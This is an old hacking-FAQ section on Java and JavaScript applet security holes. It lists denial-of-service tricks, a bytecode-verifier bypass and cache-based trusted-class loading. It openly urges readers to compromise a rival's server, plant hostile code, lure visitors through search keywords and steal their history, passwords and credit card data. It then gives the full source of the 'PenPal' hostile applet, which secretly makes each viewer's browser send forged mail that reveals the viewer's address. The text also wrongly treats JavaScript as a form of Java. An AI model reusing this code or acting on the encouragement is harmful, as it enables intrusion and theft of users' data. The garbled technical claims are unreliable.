|
Fun with Java and JavaScript 05-1. What is a JavaScript Applet? 05-2. What is the JavaScript problem? 05-3. What is an example of this "bad" Java code?
05-1. What is a JavaScript Applet?
JavaScript is Netscape's way of allowing a server to send code via HTML directly to your browser. Since Java is built into Netscape, JavaScript "applets" can be constructed by simply including the text inside the HTML document. When someone accesses your page -- bingo! -- the code then uses Java and performs some function. They can work on 16-bit and 32-bit versions of a Web browser that supports Java, e.g. Netscape.
Also, if you have a Java compiler you can compile an applet and have the appropriate code in the HTML document and load it up to the browser. This approach is even better as you can use more features. This is typically supported in a 32-bit browser that supports Java. This means that a 16-bit version of Netscape (such as that for Windows 3.x or Macintosh) will not support it. There is no intention of anyone writing a 16-bit browser that supports Java applets.
05-2. What is the JavaScript problem?
By taking advantage of certain Java classes within Netscape, control is handed over to the applet, not the user. These can even be done without the user even knowing it. And they can do some pretty nasty things. Here is a summary reported to the Best-of-Security mailing list (edited with my comments).
Busy-wait to consume CPU cycles Allocate memory until no more is available Lock crucial system classes, e.g. java.net.INetAddress. Blocks all hostname lookups. Several other classes are suitable for this attack.
Send mail via an SMTP port on server Lookup fictitious DNS name to send out info Tell browser to access fictitious URL (can be redirected back)
Can benchmark machine by reading system clock Java hashcode() defaults to address of object, might leak some info
DNS hack allowing connections to any machine (has been patched) Java disassembler (javap) has buffer overflows (not normally run by users)
Applets running from previous pages can learn of new applets by getting a handle to the top-level ThreadGroup and enumerating every thread running in the system. Can then call stop() and setPriority() on threads belonging to other applets, making them appear slow and unreliable.
The big one: Java bytecode safety checker doesn't detect illegality of constructor() { try { super() } catch (Exception e) {} } This is not legal in the language - super() must not be called in a try clause. But the bytecode checker erroneously allows it. This allows subclasses of privileged system classes to be created. Normally those classes throw an exception in their constructor so they can't be instantiated. But this trick allows it. This way users can create their own ClassLoaders, SecurityManagers, etc. By creating a hacked ClassLoader the Java class type system can be defeated by resolving different classes against each other. Any non static variable can be set, any public method can be called, including native methods. The security is gone.
If the first character of a package name is / the system will attempt to load code from an absolute path, which would be trusted since it comes from the local disk. Any Java class which the attacker can get onto the user's disk can then be loaded in trusted mode. Classes can be gotten onto disk simply by fetching URL's in Netscape, which puts them into its cache. If you can figure out Netscape's class naming scheme you can then run any class, trusted. (I think this one has been patched.)
What does all this mean? Not a whole lot, taken individually. But the clever hacker could start using these items in concert with other items listed in the FAQ and other simple hacking techniques. Of course only a fool would load this stuff up on their personal web page -- the best hack would be to compromise a competitor's server (if you're a business) or an enemy's home page. Then load the code into the page. Add meta keywords to your hacked page so when it is indexed by a spider, any web searches will lead innocent surfers to the page. Then simple things like this -- sending history and cache files (with any searches, passwords to other web pages, credit card info) through a remailer; to spawning root shell for backdoor access; to collecting your arch rival's customers as they come to the rival's page, rendering it so slow as to crash customers browsers (only after you've sent their e-mail address to yourself) -- all become possible.
05-3. What is an example of this "bad" Java code?
Here's an example freely available on the web. This should give you an idea.
/* PenPal.java by Mark D. LaDue */ /* March 15, 1996 * /* Copyright (c) 1996 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This hostile applet forges an elctronic mail letter from the person who views the applet in a browser to the person whose address appears in the string "toMe." The return address will be listed as penpal@my.hostile.applet. The appropriate commands to use for sendmail can be often be found in the file /etc/mail/sendmail.hf. Note that while the person viewing the applet actually does initiate the mail by connecting (involuntarily) to port 25, the applet host's role in sending it is not so easily hidden. See the full header of any e-mail letter sent by the applet for more details. By putting your address in the string "toMe" and by scanning your incoming mail (with the included shell script or another of your own), you can get the full e-mail address, including the user name, of many people who view the applet. */ import java.applet.*; import java.io.*; import java.net.*; public class PenPal extends java.applet.Applet implements Runnable { public static Socket socker; public static DataInputStream inner; public static PrintStream outer; public static int mailPort = 25 ; public static String mailFrom = "my.hostile.applet"; public static String toMe = "mladue@math.gatech.edu"; //Change this please! public static String starter = new String(); Thread controller = null; public void init() { try { socker = new Socket(getDocumentBase().getHost(), mailPort); inner = new DataInputStream(socker.getInputStream()); outer = new PrintStream(socker.getOutputStream()); } catch (IOException ioe) {} } public void start() { if (controller == null) { controller = new Thread(this); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } public void stop() { if (controller != null) { controller.stop(); controller = null; } } public void run() { try { starter = inner.readLine(); } catch (IOException ioe) {} mailMe("HELO " + mailFrom); mailMe("MAIL FROM: " + "penpal@" + mailFrom); mailMe("RCPT TO: " + toMe); mailMe("DATA"); mailMe("Hey, it worked!" + "\n." + "\n"); mailMe("QUIT"); try { socker.close(); } catch (IOException ioe) {} } public void mailMe(String toSend) { String response = new String(); try { outer.println(toSend); outer.flush(); response = inner.readLine(); } catch(IOException e) {} } }